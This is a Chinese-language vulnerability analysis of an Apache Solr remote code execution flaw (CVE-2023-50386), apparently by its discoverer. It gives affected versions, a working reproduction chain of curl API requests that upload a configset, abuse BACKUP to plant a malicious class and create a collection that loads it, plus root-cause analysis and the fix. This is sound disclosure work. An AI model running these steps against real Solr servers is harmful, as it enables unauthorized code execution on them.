Apache Solr Backup/Restore APIs RCE (CVE-2023-50386)分析及挖掘思路
Apache Solr在创建Collection时会以一个特定的目录作为classpath,从中加载一些类,而Collection的备份功能可以导出攻击者上传的恶意class文件到该目录,从而让Solr加载自定义class,造成任意Java代码执行,可以进一步绕过Solr配置的Java沙箱,最终造成任意命令执行。
这个漏洞其实我在22年8月就报告给了Solr官方,在SolrCloud模式的默认配置下可以造成任意命令执行,但官方经过半年的讨论,在23年2月回复我说只做修复,但不分配CVE编号,漏洞跟踪为SOLR-16480。然后这篇分析笔记写于23年3月,我也一直未公开。
不过今天(24年2月10日)无意间看到Solr官方发布了CVE-2023-50386的漏洞通告,然后漏洞描述和我提交的一模一样,点进去一看漏洞发现者果然是自己的ID,我也没搞明白这是什么操作,不过既然官方已经发布通告,我也就公开漏洞分析笔记了。
影响范围
- Apache Solr 6.0.0 through 8.11.2
- Apache Solr 9.0.0 before 9.4.1
- SolrCloud模式
环境搭建
1 | docker run --rm -ti --name solr9.0.0 -p 8983:8983 -p 5005:5005 solr:9.0.0 bash |
漏洞复现
准备Solr默认配置文件
先以root权限进入Solr容器,打包默认的配置文件并复制出来,当然也可以从Solr源码中获得:
1 | docker exec -ti -uroot solr9.0.0 bash |
编译恶意class
编译一个包名为zk_backup_0.configs.conf1
的Java类(容器内的Java版本为17,注意版本兼容问题)
1 | package zk_backup_0.configs.conf1; |
上传配置文件conf1
将恶意class放入配置文件目录中,并打包上传到Solr,命名为conf1
1 | mv zk_backup_0/configs/conf1/Exp.class conf/ |
用conf1
创建collection1
用上一步上传的配置conf1
去创建一个Collection,名为collection1
1 | curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection1&numShards=1&replicationFactor=1&wt=json&collection.configName=conf1" |
备份collection1
,导出conf1
通过备份功能可以将collection1
导出,其中包括创建collection1
时用的配置文件,也就是conf1
,从而恶意class也随之导出。
以下API中location
为要导出的路径,/var/solr/data/
是SOLR_HOME
的路径。name
为导出的名字,其实也就相当于路径的一部分
1 | curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1" |
响应完成后,collection1
被导出到了/var/solr/data/collection2_shard1_replica_n1
而它对应的配置被导出到了/var/solr/data/collection2_shard1_replica_n1/collection1/zk_backup_0/configs/
通过备份的接口再次导出collection1
,注意location
和name
都有变化:
1 | curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib" |
这次导出后,会发现我们的class最终在/var/solr/data/collection2_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1
目录结构zk_backup_0/configs/conf1
与包名zk_backup_0.configs.conf1
恰好对应
上传配置文件conf2
默认配置的solrconfig.xml
文件有个valueSourceParser
标签
取消其注释,并修改为
1 | <valueSourceParser name="myfunc" class="zk_backup_0.configs.conf1.Exp" /> |
打包上传,命名为conf2
1 | rm Exp.class conf1.zip |
用conf2
创建collection2
1 | curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2" |
Collection创建过程中会将SOLR_HOME/collection2_shard1_replica_n1/lib/
下的jar包或者一级子目录作为URLClassLoader的urls。并且会加载solrconfig.xml
中配置的类,从而导致zk_backup_0.configs.conf1.Exp
类的静态代码被执行
绕过沙箱
其实在Solr中通过这种方式执行Java代码是会受沙箱限制的,这也是为什么我用了new File("/tmp/success").createNewFile();
创建文件来演示漏洞而非命令执行。
删除创建的配置和Collection
1 | curl "http://127.0.0.1:8983/solr/admin/collections?action=DELETE&name=collection1" |
漏洞分析
漏洞复现过程尽管很复杂,但漏洞关键其实就几点
- Solr在创建Collection时会加载配置文件中设置的Java类,而classpath是一个特定的目录
- 备份Collection时会导出一系列配置文件,而这些文件由用户上传
- 备份导出的路径在一定程度上可控
- 所用到的api接口默认情况下均可未授权访问
挖掘思路
挖掘Solr前,我的目的很明确,只关注RCE漏洞,然后去大概了解了一下Solr的用途和历史漏洞。有一篇Solr的总结很全面:https://paper.seebug.org/1515/
分析完历史漏洞后,感觉Solr最大的问题是默认情况下很多敏感的接口都是未授权可访问,我觉得这也是挖掘新洞的一个着手点。
其中关于配置集,和Collection管理的api尤其受关注。因为创建Collection时可以指定某个配置,而这些配置又由用户上传,配置中某些配置项又必然影响某些代码逻辑。
https://solr.apache.org/guide/solr/9_0/configuration-guide/configsets-api.html
https://solr.apache.org/guide/solr/9_0/deployment-guide/collection-management.html
调试分析
加载lib
在org.apache.solr.handler.admin.CollectionsHandler#handleRequestBody打断点,然后发起如下请求
1 | curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=test_collection&numShards=1&replicationFactor=1&wt=json&collection.configName=_default" |
这里就是Collection相关请求的入口
然后到 org.apache.solr.core.SolrConfig#initLibs
这里的libPath
即/var/solr/data/test_collection_shard1_replica_n1/lib
,此路径如果存在的话,就会用这个路径下的Jar包和一级子目录作为urls创建URLClassLoader,该URLClassLoader对象储存在org.apache.solr.core.SolrResourceLoader#classLoader
。
(可以手动在这个目录下创建lib,观察一下代码逻辑):
后续读取配置文件中的类并加载的代码就不再跟了。
写入lib
后面的挖掘方向就是如何在/var/solr/data/test_collection_shard1_replica_n1/lib
目录下写入所需文件,这是这个漏洞另一个关键的地方。
回到备份Collection的api:
1 | http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=dirname |
这个api调用示例的是将collection1
导出到/var/solr/data/
路径下的dirname
目录,要求location
这个目录必须提前存在,然后我们借由配置文件上传的可控的文件在更深的路径,即/var/solr/data/dirname/collection1/zk_backup_0/configs/conf1/
我一开始想往/var/solr/data/test_collection_shard1_replica_n1/lib/
写入一个Jar包,也尝试目录穿越等等方法,发现确实无法做到。只能在libPath
的子子子子目录写入可控文件,也就是/var/solr/data/test_collection_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1/
,当然把Jar包写在这里是不能被识别的。
后来想到Java的类结构,不也是包名/包名/包名/类名.class
,刚好抵消这里多出来的子目录,所以就有了前文复现流程中的奇怪的包名。
漏洞修复
https://github.com/apache/solr/commit/28d6b0163316376ef3b5429b3554c5041b47b5be
增加了备份导出时的文件类型黑名单
(目前最新的修复方案似乎不太一样,以上均为之前的代码分析,最新的我也还没看)